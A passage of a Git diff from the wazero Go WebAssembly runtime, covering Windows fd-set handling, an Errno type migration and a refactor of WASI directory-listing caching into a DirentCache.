sockets WinSockFdSet
|
||||
pipes WinSockFdSet
|
||||
regular WinSockFdSet
|
||||
}
|
||||
|
||||
// SetAll overwrites all the fields in f with the fields in g.
|
||||
func (f *FdSet) SetAll(g *FdSet) {
|
||||
if f == nil {
|
||||
return
|
||||
}
|
||||
f.sockets = g.sockets
|
||||
f.pipes = g.pipes
|
||||
f.regular = g.regular
|
||||
}
|
||||
|
||||
// Sockets returns a WinSockFdSet containing the handles in this FdSet that are sockets.
|
||||
func (f *FdSet) Sockets() *WinSockFdSet {
|
||||
if f == nil {
|
||||
return nil
|
||||
}
|
||||
return &f.sockets
|
||||
}
|
||||
|
||||
// Regular returns a WinSockFdSet containing the handles in this FdSet that are regular files.
|
||||
func (f *FdSet) Regular() *WinSockFdSet {
|
||||
if f == nil {
|
||||
return nil
|
||||
}
|
||||
return &f.regular
|
||||
}
|
||||
|
||||
// Pipes returns a WinSockFdSet containing the handles in this FdSet that are pipes.
|
||||
func (f *FdSet) Pipes() *WinSockFdSet {
|
||||
if f == nil {
|
||||
return nil
|
||||
}
|
||||
return &f.pipes
|
||||
}
|
||||
|
||||
// getFdSetFor returns a pointer to the right fd set for the given fd.
|
||||
// It checks the type for fd and returns the field for pipes, regular or sockets
|
||||
// to simplify code.
|
||||
//
|
||||
// For instance, if fd is a socket and it must be set if f.pipes, instead
|
||||
// of writing:
|
||||
//
|
||||
// if isSocket(fd) {
|
||||
// f.sockets.Set(fd)
|
||||
// }
|
||||
//
|
||||
// It is possible to write:
|
||||
//
|
||||
// f.getFdSetFor(fd).Set(fd)
|
||||
func (f *FdSet) getFdSetFor(fd int) *WinSockFdSet {
|
||||
h := syscall.Handle(fd)
|
||||
t, err := syscall.GetFileType(h)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
switch t {
|
||||
case syscall.FILE_TYPE_CHAR, syscall.FILE_TYPE_DISK:
|
||||
return &f.regular
|
||||
case syscall.FILE_TYPE_PIPE:
|
||||
if isSocket(h) {
|
||||
return &f.sockets
|
||||
} else {
|
||||
return &f.pipes
|
||||
}
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// Set adds the given fd to the set.
|
||||
func (f *FdSet) Set(fd int) {
|
||||
if s := f.getFdSetFor(fd); s != nil {
|
||||
s.Set(fd)
|
||||
}
|
||||
}
|
||||
|
||||
// Clear removes the given fd from the set.
|
||||
func (f *FdSet) Clear(fd int) {
|
||||
if s := f.getFdSetFor(fd); s != nil {
|
||||
s.Clear(fd)
|
||||
}
|
||||
}
|
||||
|
||||
// IsSet returns true when fd is in the set.
|
||||
func (f *FdSet) IsSet(fd int) bool {
|
||||
if s := f.getFdSetFor(fd); s != nil {
|
||||
return s.IsSet(fd)
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Copy returns a copy of this FdSet. It returns nil, if the FdSet is nil.
|
||||
func (f *FdSet) Copy() *FdSet {
|
||||
if f == nil {
|
||||
return nil
|
||||
}
|
||||
return &FdSet{
|
||||
sockets: f.sockets,
|
||||
pipes: f.pipes,
|
||||
regular: f.regular,
|
||||
}
|
||||
}
|
||||
|
||||
// Zero clears the set. It returns 0 if the FdSet is nil.
|
||||
func (f *FdSet) Count() int {
|
||||
if f == nil {
|
||||
return 0
|
||||
}
|
||||
return f.sockets.Count() + f.regular.Count() + f.pipes.Count()
|
||||
}
|
||||
|
||||
// Zero clears the set.
|
||||
func (f *FdSet) Zero() {
|
||||
if f == nil {
|
||||
return
|
||||
}
|
||||
f.sockets.Zero()
|
||||
f.regular.Zero()
|
||||
f.pipes.Zero()
|
||||
}
|
||||
|
||||
// Set adds the given fd to the set.
|
||||
func (f *WinSockFdSet) Set(fd int) {
|
||||
if f.count < _FD_SETSIZE {
|
||||
f.handles[f.count] = syscall.Handle(fd)
|
||||
f.count++
|
||||
}
|
||||
}
|
||||
|
||||
// Clear removes the given fd from the set.
|
||||
func (f *WinSockFdSet) Clear(fd int) {
|
||||
h := syscall.Handle(fd)
|
||||
for i := uint64(0); i < f.count; i++ {
|
||||
if f.handles[i] == h {
|
||||
for ; i < f.count-1; i++ {
|
||||
f.handles[i] = f.handles[i+1]
|
||||
}
|
||||
f.count--
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// IsSet returns true when fd is in the set.
|
||||
func (f *WinSockFdSet) IsSet(fd int) bool {
|
||||
h := syscall.Handle(fd)
|
||||
for i := uint64(0); i < f.count; i++ {
|
||||
if f.handles[i] == h {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Zero clears the set.
|
||||
func (f *WinSockFdSet) Zero() {
|
||||
if f == nil {
|
||||
return
|
||||
}
|
||||
f.handles = [64]syscall.Handle{}
|
||||
f.count = 0
|
||||
}
|
||||
|
||||
// Count returns the number of values that are set in the fd set.
|
||||
func (f *WinSockFdSet) Count() int {
|
||||
if f == nil {
|
||||
return 0
|
||||
}
|
||||
return int(f.count)
|
||||
}
|
||||
|
||||
// Copy returns a copy of the fd set or nil if it is nil.
|
||||
func (f *WinSockFdSet) Copy() *WinSockFdSet {
|
||||
if f == nil {
|
||||
return nil
|
||||
}
|
||||
copy := *f
|
||||
return ©
|
||||
}
|
||||
|
||||
// Get returns the handle at the given index.
|
||||
func (f *WinSockFdSet) Get(index int) syscall.Handle {
|
||||
return f.handles[index]
|
||||
}
|
||||
|
||||
// isSocket returns true if the given file handle
|
||||
// is a pipe.
|
||||
func isSocket(fd syscall.Handle) bool {
|
||||
r, _, errno := syscall.SyscallN(
|
||||
procGetNamedPipeInfo.Addr(),
|
||||
uintptr(fd),
|
||||
uintptr(unsafe.Pointer(nil)),
|
||||
uintptr(unsafe.Pointer(nil)),
|
||||
uintptr(unsafe.Pointer(nil)),
|
||||
uintptr(unsafe.Pointer(nil)))
|
||||
return r == 0 || errno != 0
|
||||
}
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
// This uses syscall.Mprotect. Go's SDK only supports this on darwin and linux.
|
||||
// Separated from linux which has support for huge pages.
|
||||
//go:build darwin || freebsd
|
||||
|
||||
package platform
|
||||
|
||||
+8
-3
@@ -5,12 +5,17 @@
|
||||
package platform
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// TODO: IsAtLeastGo120
|
||||
var IsGo120 = strings.Contains(runtime.Version(), "go1.20")
|
||||
// IsAtLeastGo120 checks features added in 1.20. We can remove this when Go
|
||||
// 1.22 is out.
|
||||
var IsAtLeastGo120 = isAtLeastGo120(runtime.Version())
|
||||
|
||||
func isAtLeastGo120(version string) bool {
|
||||
return regexp.MustCompile("go1.[2-9][0-9][^0-9]").MatchString(version)
|
||||
}
|
||||
|
||||
// archRequirementsVerified is set by platform-specific init to true if the platform is supported
|
||||
var archRequirementsVerified bool
|
||||
|
||||
+6
-4
@@ -3,8 +3,8 @@ package sock
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/fsapi"
|
||||
)
|
||||
|
||||
@@ -12,7 +12,7 @@ import (
|
||||
type TCPSock interface {
|
||||
fsapi.File
|
||||
|
||||
Accept() (TCPConn, syscall.Errno)
|
||||
Accept() (TCPConn, sys.Errno)
|
||||
}
|
||||
|
||||
// TCPConn is a pseudo-file representing a TCP connection.
|
||||
@@ -20,9 +20,11 @@ type TCPConn interface {
|
||||
fsapi.File
|
||||
|
||||
// Recvfrom only supports the flag sysfs.MSG_PEEK
|
||||
Recvfrom(p []byte, flags int) (n int, errno syscall.Errno)
|
||||
// TODO: document this like fsapi.File with known sys.Errno
|
||||
Recvfrom(p []byte, flags int) (n int, errno sys.Errno)
|
||||
|
||||
Shutdown(how int) syscall.Errno
|
||||
// TODO: document this like fsapi.File with known sys.Errno
|
||||
Shutdown(how int) sys.Errno
|
||||
}
|
||||
|
||||
// ConfigKey is a context.Context Value key. Its associated value should be a Config.
|
||||
|
||||
+280
-290
@@ -4,12 +4,10 @@ import (
|
||||
"io"
|
||||
"io/fs"
|
||||
"net"
|
||||
"path"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/descriptor"
|
||||
"github.com/tetratelabs/wazero/internal/fsapi"
|
||||
"github.com/tetratelabs/wazero/internal/platform"
|
||||
socketapi "github.com/tetratelabs/wazero/internal/sock"
|
||||
"github.com/tetratelabs/wazero/internal/sysfs"
|
||||
)
|
||||
@@ -54,209 +52,202 @@ type FileEntry struct {
|
||||
|
||||
// File is always non-nil.
|
||||
File fsapi.File
|
||||
|
||||
// direntCache is nil until DirentCache was called.
|
||||
direntCache *DirentCache
|
||||
}
|
||||
|
||||
const direntBufSize = 16
|
||||
// DirentCache gets or creates a DirentCache for this file or returns an error.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero sys.Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EBADF: the dir was closed or not readable.
|
||||
// - sys.ENOTDIR: the file was not a directory.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - See /RATIONALE.md for design notes.
|
||||
func (f *FileEntry) DirentCache() (*DirentCache, sys.Errno) {
|
||||
if dir := f.direntCache; dir != nil {
|
||||
return dir, 0
|
||||
}
|
||||
|
||||
// Readdir is the status of a prior fs.ReadDirFile call.
|
||||
type Readdir struct {
|
||||
// cursor is the current position in the buffer.
|
||||
cursor uint64
|
||||
// Require the file to be a directory vs a late error on the same.
|
||||
if isDir, errno := f.File.IsDir(); errno != 0 {
|
||||
return nil, errno
|
||||
} else if !isDir {
|
||||
return nil, sys.ENOTDIR
|
||||
}
|
||||
|
||||
// countRead is the total count of files read including Dirents.
|
||||
//
|
||||
// Notes:
|
||||
//
|
||||
// * countRead is the index of the next file in the list. This is
|
||||
// also the value that Cookie returns, so it should always be
|
||||
// higher or equal than the cookie given in Rewind.
|
||||
//
|
||||
// * this can overflow to negative, which means our implementation
|
||||
// doesn't support writing greater than max int64 entries.
|
||||
// countRead uint64
|
||||
countRead uint64
|
||||
// Generate the dotEntries only once.
|
||||
if dotEntries, errno := synthesizeDotEntries(f); errno != 0 {
|
||||
return nil, errno
|
||||
} else {
|
||||
f.direntCache = &DirentCache{f: f.File, dotEntries: dotEntries}
|
||||
}
|
||||
|
||||
// dirents is a fixed buffer of size direntBufSize. Notably,
|
||||
// directory listing are not rewindable, so we keep entries around in case
|
||||
// the caller mis-estimated their buffer and needs a few still cached.
|
||||
return f.direntCache, 0
|
||||
}
|
||||
|
||||
// DirentCache is a caching abstraction of fsapi.File Readdir.
|
||||
//
|
||||
// This is special-cased for "wasi_snapshot_preview1.fd_readdir", and may be
|
||||
// unneeded, or require changes, to support preview1 or preview2.
|
||||
// - The position of the dirents are serialized as `d_next`. For reasons
|
||||
// described below, any may need to be re-read. This accepts any positions
|
||||
// in the cache, rather than track the position of the last dirent.
|
||||
// - dot entries ("." and "..") must be returned. See /RATIONALE.md for why.
|
||||
// - An fsapi.Dirent Name is variable length, it could exceed memory size and
|
||||
// need to be re-read.
|
||||
// - Multiple dirents may be returned. It is more efficient to read from the
|
||||
// underlying file in bulk vs one-at-a-time.
|
||||
//
|
||||
// The last results returned by Read are cached, but entries before that
|
||||
// position are not. This support re-reading entries that couldn't fit into
|
||||
// memory without accidentally caching all entries in a large directory. This
|
||||
// approach is sometimes called a sliding window.
|
||||
type DirentCache struct {
|
||||
// f is the underlying file
|
||||
f fsapi.File
|
||||
|
||||
// dotEntries are the "." and ".." entries added when the directory is
|
||||
// initialized.
|
||||
dotEntries []fsapi.Dirent
|
||||
|
||||
// dirents are the potentially unread directory entries.
|
||||
//
|
||||
// Note: This is wasi-specific and needs to be refactored.
|
||||
// In wasi preview1, dot and dot-dot entries are required to exist, but the
|
||||
// reverse is true for preview2. More importantly, preview2 holds separate
|
||||
// stateful dir-entry-streams per file.
|
||||
// Internal detail: nil is different from zero length. Zero length is an
|
||||
// exhausted directory (eof). nil means the re-read.
|
||||
dirents []fsapi.Dirent
|
||||
|
||||
// dirInit seeks and reset the provider for dirents to the beginning
|
||||
// and returns an initial batch (e.g. dot directories).
|
||||
dirInit func() ([]fsapi.Dirent, syscall.Errno)
|
||||
// countRead is the total count of dirents read since last rewind.
|
||||
countRead uint64
|
||||
|
||||
// dirReader fetches a new batch of direntBufSize elements.
|
||||
dirReader func(n uint64) ([]fsapi.Dirent, syscall.Errno)
|
||||
}
|
||||
|
||||
// NewReaddir is a constructor for Readdir. It takes a dirInit
|
||||
func NewReaddir(
|
||||
dirInit func() ([]fsapi.Dirent, syscall.Errno),
|
||||
dirReader func(n uint64) ([]fsapi.Dirent, syscall.Errno),
|
||||
) (*Readdir, syscall.Errno) {
|
||||
d := &Readdir{dirReader: dirReader, dirInit: dirInit}
|
||||
return d, d.init()
|
||||
}
|
||||
|
||||
// init resets the cursor and invokes the dirInit, dirReader
|
||||
// methods to reset the internal state of the Readdir struct.
|
||||
//
|
||||
// Note: this is different from Reset, because it will not short-circuit
|
||||
// when cursor is already 0, but it will force an unconditional reload.
|
||||
func (d *Readdir) init() syscall.Errno {
|
||||
d.cursor = 0
|
||||
d.countRead = 0
|
||||
// Reset the buffer to the initial state.
|
||||
initialDirents, errno := d.dirInit()
|
||||
if errno != 0 {
|
||||
return errno
|
||||
}
|
||||
if len(initialDirents) > direntBufSize {
|
||||
return syscall.EINVAL
|
||||
}
|
||||
d.dirents = initialDirents
|
||||
// Fill the buffer with more data.
|
||||
count := direntBufSize - len(initialDirents)
|
||||
if count == 0 {
|
||||
// No need to fill up the buffer further.
|
||||
return 0
|
||||
}
|
||||
dirents, errno := d.dirReader(uint64(count))
|
||||
if errno != 0 {
|
||||
return errno
|
||||
}
|
||||
d.dirents = append(d.dirents, dirents...)
|
||||
return 0
|
||||
}
|
||||
|
||||
// newReaddirFromFileEntry is a constructor for Readdir that takes a FileEntry to initialize.
|
||||
func newReaddirFromFileEntry(f *FileEntry) (*Readdir, syscall.Errno) {
|
||||
// Generate the dotEntries only once and return it many times in the dirInit closure.
|
||||
dotEntries, errno := synthesizeDotEntries(f)
|
||||
if errno != 0 {
|
||||
return nil, errno
|
||||
}
|
||||
dirInit := func() ([]fsapi.Dirent, syscall.Errno) {
|
||||
// Ensure we always rewind to the beginning when we re-init.
|
||||
if _, errno := f.File.Seek(0, io.SeekStart); errno != 0 {
|
||||
return nil, errno
|
||||
}
|
||||
// Return the dotEntries that we have already generated outside the closure.
|
||||
return dotEntries, 0
|
||||
}
|
||||
dirReader := func(n uint64) ([]fsapi.Dirent, syscall.Errno) { return f.File.Readdir(int(n)) }
|
||||
return NewReaddir(dirInit, dirReader)
|
||||
// eof is true when the underlying file is at EOF. This avoids re-reading
|
||||
// the directory when it is exhausted. Entires in an exhausted directory
|
||||
// are not visible until it is rewound via calling Read with `pos==0`.
|
||||
eof bool
|
||||
}
|
||||
|
||||
// synthesizeDotEntries generates a slice of the two elements "." and "..".
|
||||
func synthesizeDotEntries(f *FileEntry) (result []fsapi.Dirent, errno syscall.Errno) {
|
||||
func synthesizeDotEntries(f *FileEntry) ([]fsapi.Dirent, sys.Errno) {
|
||||
dotIno, errno := f.File.Ino()
|
||||
if errno != 0 {
|
||||
return nil, errno
|
||||
}
|
||||
result = append(result, fsapi.Dirent{Name: ".", Ino: dotIno, Type: fs.ModeDir})
|
||||
dotDotIno := uint64(0)
|
||||
if !f.IsPreopen && f.Name != "." {
|
||||
if st, errno := f.FS.Stat(path.Dir(f.Name)); errno != 0 {
|
||||
return nil, errno
|
||||
} else {
|
||||
dotDotIno = st.Ino
|
||||
}
|
||||
}
|
||||
result = append(result, fsapi.Dirent{Name: "..", Ino: dotDotIno, Type: fs.ModeDir})
|
||||
return result, 0
|
||||
result := [2]fsapi.Dirent{}
|
||||
result[0] = fsapi.Dirent{Name: ".", Ino: dotIno, Type: fs.ModeDir}
|
||||
// See /RATIONALE.md for why we don't attempt to get an inode for ".." and
|
||||
// why in wasi-libc this won't fan-out either.
|
||||
result[1] = fsapi.Dirent{Name: "..", Ino: 0, Type: fs.ModeDir}
|
||||
return result[:], 0
|
||||
}
|
||||
|
||||
// Reset seeks the internal cursor to 0 and refills the buffer.
|
||||
func (d *Readdir) Reset() syscall.Errno {
|
||||
if d.countRead == 0 {
|
||||
return 0
|
||||
}
|
||||
return d.init()
|
||||
}
|
||||
// exhaustedDirents avoids allocating empty slices.
|
||||
var exhaustedDirents = [0]fsapi.Dirent{}
|
||||
|
||||
// Skip is equivalent to calling n times Advance.
|
||||
func (d *Readdir) Skip(n uint64) {
|
||||
end := d.countRead + n
|
||||
var err syscall.Errno = 0
|
||||
for d.countRead < end && err == 0 {
|
||||
err = d.Advance()
|
||||
}
|
||||
}
|
||||
|
||||
// Cookie returns a cookie representing the current state of the ReadDir struct.
|
||||
// Read is similar to and returns the same errors as `Readdir` on fsapi.File.
|
||||
// The main difference is this caches entries returned, resulting in multiple
|
||||
// valid positions to read from.
|
||||
//
|
||||
// Note: this returns the countRead field, but it is an implementation detail.
|
||||
func (d *Readdir) Cookie() uint64 {
|
||||
return d.countRead
|
||||
}
|
||||
|
||||
// Rewind seeks the internal cursor to the state represented by the cookie.
|
||||
// It returns a syscall.Errno if the cursor was reset and an I/O error occurred while trying to re-init.
|
||||
func (d *Readdir) Rewind(cookie int64) syscall.Errno {
|
||||
unsignedCookie := uint64(cookie)
|
||||
// When zero, `pos` means rewind to the beginning of this directory. This
|
||||
// implies a rewind (Seek to zero on the underlying fsapi.File), unless the
|
||||
// initial entries are still cached.
|
||||
//
|
||||
// When non-zero, `pos` is the zero based index of all dirents returned since
|
||||
// last rewind. Only entries beginning at `pos` are cached for subsequent
|
||||
// calls. A non-zero `pos` before the cache returns sys.ENOENT for reasons
|
||||
// described on DirentCache documentation.
|
||||
//
|
||||
// Up to `n` entries are cached and returned. When `n` exceeds the cache, the
|
||||
// difference are read from the underlying fsapi.File via `Readdir`. EOF is
|
||||
// when `len(dirents)` returned are less than `n`.
|
||||
func (d *DirentCache) Read(pos uint64, n uint32) (dirents []fsapi.Dirent, errno sys.Errno) {
|
||||
switch {
|
||||
case cookie < 0 || unsignedCookie > d.countRead:
|
||||
// the cookie can neither be negative nor can it be larger than countRead.
|
||||
return syscall.EINVAL
|
||||
case cookie == 0 && d.countRead == 0:
|
||||
return 0
|
||||
case cookie == 0 && d.countRead != 0:
|
||||
// This means that there was a previous call to the dir, but cookie is reset.
|
||||
// This happens when the program calls rewinddir, for example:
|
||||
// https://github.com/WebAssembly/wasi-libc/blob/659ff414560721b1660a19685110e484a081c3d4/libc-bottom-half/cloudlibc/src/libc/dirent/rewinddir.c#L10-L12
|
||||
return d.Reset()
|
||||
case unsignedCookie < d.countRead:
|
||||
if cookie/direntBufSize != int64(d.countRead)/direntBufSize {
|
||||
// The cookie is not 0, but it points into a window before the current one.
|
||||
return syscall.ENOSYS
|
||||
case pos > d.countRead: // farther than read or negative coerced to uint64.
|
||||
return nil, sys.ENOENT
|
||||
case pos == 0 && d.dirents != nil:
|
||||
// Rewind if we have already read entries. This allows us to see new
|
||||
// entries added after the directory was opened.
|
||||
if _, errno = d.f.Seek(0, io.SeekStart); errno != 0 {
|
||||
return
|
||||
}
|
||||
// We are allowed to rewind back to a previous offset within the current window.
|
||||
d.countRead = unsignedCookie
|
||||
d.cursor = d.countRead % direntBufSize
|
||||
return 0
|
||||
default:
|
||||
// The cookie is valid.
|
||||
return 0
|
||||
d.dirents = nil // dump cache
|
||||
d.countRead = 0
|
||||
}
|
||||
|
||||
if n == 0 {
|
||||
return // special case no entries.
|
||||
}
|
||||
|
||||
if d.dirents == nil {
|
||||
// Always populate dot entries, which makes min len(dirents) == 2.
|
||||
d.dirents = d.dotEntries
|
||||
d.countRead = 2
|
||||
d.eof = false
|
||||
|
||||
if countToRead := int(n - 2); countToRead <= 0 {
|
||||
return
|
||||
} else if dirents, errno = d.f.Readdir(countToRead); errno != 0 {
|
||||
return
|
||||
} else if countRead := len(dirents); countRead > 0 {
|
||||
d.eof = countRead < countToRead
|
||||
d.dirents = append(d.dotEntries, dirents...)
|
||||
d.countRead += uint64(countRead)
|
||||
}
|
||||
|
||||
return d.cachedDirents(n), 0
|
||||
}
|
||||
|
||||
// Reset our cache to the first entry being read.
|
||||
cacheStart := d.countRead - uint64(len(d.dirents))
|
||||
if pos < cacheStart {
|
||||
// We don't currently allow reads before our cache because Seek(0) is
|
||||
// the only portable way. Doing otherwise requires skipping, which we
|
||||
// won't do unless wasi-testsuite starts requiring it. Implementing
|
||||
// this would allow re-reading a large directory, so care would be
|
||||
// needed to not buffer the entire directory in memory while skipping.
|
||||
errno = sys.ENOENT
|
||||
return
|
||||
} else if posInCache := pos - cacheStart; posInCache != 0 {
|
||||
if uint64(len(d.dirents)) == posInCache {
|
||||
// Avoid allocation re-slicing to zero length.
|
||||
d.dirents = exhaustedDirents[:]
|
||||
} else {
|
||||
d.dirents = d.dirents[posInCache:]
|
||||
}
|
||||
}
|
||||
|
||||
// See if we need more entries.
|
||||
if countToRead := int(n) - len(d.dirents); countToRead > 0 && !d.eof {
|
||||
// Try to read more, which could fail.
|
||||
if dirents, errno = d.f.Readdir(countToRead); errno != 0 {
|
||||
return
|
||||
}
|
||||
|
||||
// Append the next read entries if we weren't at EOF.
|
||||
if countRead := len(dirents); countRead > 0 {
|
||||
d.eof = countRead < countToRead
|
||||
d.dirents = append(d.dirents, dirents...)
|
||||
d.countRead += uint64(countRead)
|
||||
}
|
||||
}
|
||||
|
||||
return d.cachedDirents(n), 0
|
||||
}
|
||||
|
||||
// Peek emits the current value.
|
||||
// It returns syscall.ENOENT when there are no entries left in the directory.
|
||||
func (d *Readdir) Peek() (*fsapi.Dirent, syscall.Errno) {
|
||||
// cachedDirents returns up to `n` dirents from the cache.
|
||||
func (d *DirentCache) cachedDirents(n uint32) []fsapi.Dirent {
|
||||
direntCount := uint32(len(d.dirents))
|
||||
switch {
|
||||
case d.cursor == uint64(len(d.dirents)):
|
||||
// We're past the buf size, fill it up again.
|
||||
dirents, errno := d.dirReader(direntBufSize)
|
||||
if errno != 0 {
|
||||
return nil, errno
|
||||
}
|
||||
d.dirents = append(d.dirents, dirents...)
|
||||
fallthrough
|
||||
default: // d.cursor < direntBufSize FIXME
|
||||
if d.cursor == uint64(len(d.dirents)) {
|
||||
return nil, syscall.ENOENT
|
||||
}
|
||||
dirent := &d.dirents[d.cursor]
|
||||
return dirent, 0
|
||||
case direntCount == 0:
|
||||
return nil
|
||||
case direntCount > n:
|
||||
return d.dirents[:n]
|
||||
}
|
||||
}
|
||||
|
||||
// Advance advances the internal counters and indices to the next value.
|
||||
// It also empties and refill the buffer with the next set of values when the internal cursor
|
||||
// reaches the end of it.
|
||||
func (d *Readdir) Advance() syscall.Errno {
|
||||
if d.cursor == uint64(len(d.dirents)) {
|
||||
return syscall.ENOENT
|
||||
}
|
||||
d.cursor++
|
||||
d.countRead++
|
||||
return 0
|
||||
return d.dirents
|
||||
}
|
||||
|
||||
type FSContext struct {
|
||||
@@ -267,30 +258,33 @@ type FSContext struct {
|
||||
// (or directories) and defaults to empty.
|
||||
// TODO: This is unguarded, so not goroutine-safe!
|
||||
openedFiles FileTable
|
||||
|
||||
// readdirs is a map of numeric identifiers to Readdir structs
|
||||
// and defaults to empty.
|
||||
// TODO: This is unguarded, so not goroutine-safe!
|
||||
readdirs ReaddirTable
|
||||
}
|
||||
|
||||
// FileTable is a specialization of the descriptor.Table type used to map file
|
||||
// descriptors to file entries.
|
||||
type FileTable = descriptor.Table[int32, *FileEntry]
|
||||
|
||||
// ReaddirTable is a specialization of the descriptor.Table type used to map file
|
||||
// descriptors to Readdir structs.
|
||||
type ReaddirTable = descriptor.Table[int32, *Readdir]
|
||||
|
||||
// RootFS returns the underlying filesystem. Any files that should be added to
|
||||
// the table should be inserted via InsertFile.
|
||||
// RootFS returns a possibly unimplemented root filesystem. Any files that
|
||||
// should be added to the table should be inserted via InsertFile.
|
||||
//
|
||||
// TODO: This is only used by GOOS=js and tests: Remove when we remove GOOS=js
|
||||
// (after Go 1.22 is released).
|
||||
func (c *FSContext) RootFS() fsapi.FS {
|
||||
return c.rootFS
|
||||
if rootFS := c.rootFS; rootFS == nil {
|
||||
return fsapi.UnimplementedFS{}
|
||||
} else {
|
||||
return rootFS
|
||||
}
|
||||
}
|
||||
|
||||
// LookupFile returns a file if it is in the table.
|
||||
func (c *FSContext) LookupFile(fd int32) (*FileEntry, bool) {
|
||||
return c.openedFiles.Lookup(fd)
|
||||
}
|
||||
|
||||
// OpenFile opens the file into the table and returns its file descriptor.
|
||||
// The result must be closed by CloseFile or Close.
|
||||
func (c *FSContext) OpenFile(fs fsapi.FS, path string, flag int, perm fs.FileMode) (int32, syscall.Errno) {
|
||||
func (c *FSContext) OpenFile(fs fsapi.FS, path string, flag fsapi.Oflag, perm fs.FileMode) (int32, sys.Errno) {
|
||||
if f, errno := fs.OpenFile(path, flag, perm); errno != 0 {
|
||||
return 0, errno
|
||||
} else {
|
||||
@@ -301,25 +295,53 @@ func (c *FSContext) OpenFile(fs fsapi.FS, path string, flag int, perm fs.FileMod
|
||||
fe.Name = path
|
||||
}
|
||||
if newFD, ok := c.openedFiles.Insert(fe); !ok {
|
||||
return 0, syscall.EBADF
|
||||
return 0, sys.EBADF
|
||||
} else {
|
||||
return newFD, 0
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Renumber assigns the file pointed by the descriptor `from` to `to`.
|
||||
func (c *FSContext) Renumber(from, to int32) sys.Errno {
|
||||
fromFile, ok := c.openedFiles.Lookup(from)
|
||||
if !ok || to < 0 {
|
||||
return sys.EBADF
|
||||
} else if fromFile.IsPreopen {
|
||||
return sys.ENOTSUP
|
||||
}
|
||||
|
||||
// If toFile is already open, we close it to prevent windows lock issues.
|
||||
//
|
||||
// The doc is unclear and other implementations do nothing for already-opened To FDs.
|
||||
// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fd_renumberfd-fd-to-fd---errno
|
||||
// https://github.com/bytecodealliance/wasmtime/blob/main/crates/wasi-common/src/snapshots/preview_1.rs#L531-L546
|
||||
if toFile, ok := c.openedFiles.Lookup(to); ok {
|
||||
if toFile.IsPreopen {
|
||||
return sys.ENOTSUP
|
||||
}
|
||||
_ = toFile.File.Close()
|
||||
}
|
||||
|
||||
c.openedFiles.Delete(from)
|
||||
if !c.openedFiles.InsertAt(fromFile, to) {
|
||||
return sys.EBADF
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// SockAccept accepts a socketapi.TCPConn into the file table and returns
|
||||
// its file descriptor.
|
||||
func (c *FSContext) SockAccept(sockFD int32, nonblock bool) (int32, syscall.Errno) {
|
||||
func (c *FSContext) SockAccept(sockFD int32, nonblock bool) (int32, sys.Errno) {
|
||||
var sock socketapi.TCPSock
|
||||
if e, ok := c.LookupFile(sockFD); !ok || !e.IsPreopen {
|
||||
return 0, syscall.EBADF // Not a preopen
|
||||
return 0, sys.EBADF // Not a preopen
|
||||
} else if sock, ok = e.File.(socketapi.TCPSock); !ok {
|
||||
return 0, syscall.EBADF // Not a sock
|
||||
return 0, sys.EBADF // Not a sock
|
||||
}
|
||||
|
||||
var conn socketapi.TCPConn
|
||||
var errno syscall.Errno
|
||||
var errno sys.Errno
|
||||
if conn, errno = sock.Accept(); errno != 0 {
|
||||
return 0, errno
|
||||
} else if nonblock {
|
||||
@@ -331,83 +353,23 @@ func (c *FSContext) SockAccept(sockFD int32, nonblock bool) (int32, syscall.Errn
|
||||
|
||||
fe := &FileEntry{File: conn}
|
||||
if newFD, ok := c.openedFiles.Insert(fe); !ok {
|
||||
return 0, syscall.EBADF
|
||||
return 0, sys.EBADF
|
||||
} else {
|
||||
return newFD, 0
|
||||
}
|
||||
}
|
||||
|
||||
// LookupFile returns a file if it is in the table.
|
||||
func (c *FSContext) LookupFile(fd int32) (*FileEntry, bool) {
|
||||
return c.openedFiles.Lookup(fd)
|
||||
}
|
||||
|
||||
// LookupReaddir returns a Readdir struct or creates an empty one if it was not present.
|
||||
//
|
||||
// Note: this currently assumes that idx == fd, where fd is the file descriptor of the directory.
|
||||
// CloseFile will delete this idx from the internal store. In the future, idx may be independent
|
||||
// of a file fd, and the idx may have to be disposed with an explicit CloseReaddir.
|
||||
func (c *FSContext) LookupReaddir(idx int32, f *FileEntry) (*Readdir, syscall.Errno) {
|
||||
if item, _ := c.readdirs.Lookup(idx); item != nil {
|
||||
return item, 0
|
||||
} else {
|
||||
item, err := newReaddirFromFileEntry(f)
|
||||
if err != 0 {
|
||||
return nil, err
|
||||
}
|
||||
ok := c.readdirs.InsertAt(item, idx)
|
||||
if !ok {
|
||||
return nil, syscall.EINVAL
|
||||
}
|
||||
return item, 0
|
||||
}
|
||||
}
|
||||
|
||||
// CloseReaddir delete the Readdir struct at the given index
|
||||
//
|
||||
// Note: Currently only necessary in tests. In the future, the idx will have to be disposed explicitly,
|
||||
// unless we maintain a map fd -> []idx, and we let CloseFile close all the idx in []idx.
|
||||
func (c *FSContext) CloseReaddir(idx int32) {
|
||||
c.readdirs.Delete(idx)
|
||||
}
|
||||
|
||||
// Renumber assigns the file pointed by the descriptor `from` to `to`.
|
||||
func (c *FSContext) Renumber(from, to int32) syscall.Errno {
|
||||
fromFile, ok := c.openedFiles.Lookup(from)
|
||||
if !ok || to < 0 {
|
||||
return syscall.EBADF
|
||||
} else if fromFile.IsPreopen {
|
||||
return syscall.ENOTSUP
|
||||
}
|
||||
|
||||
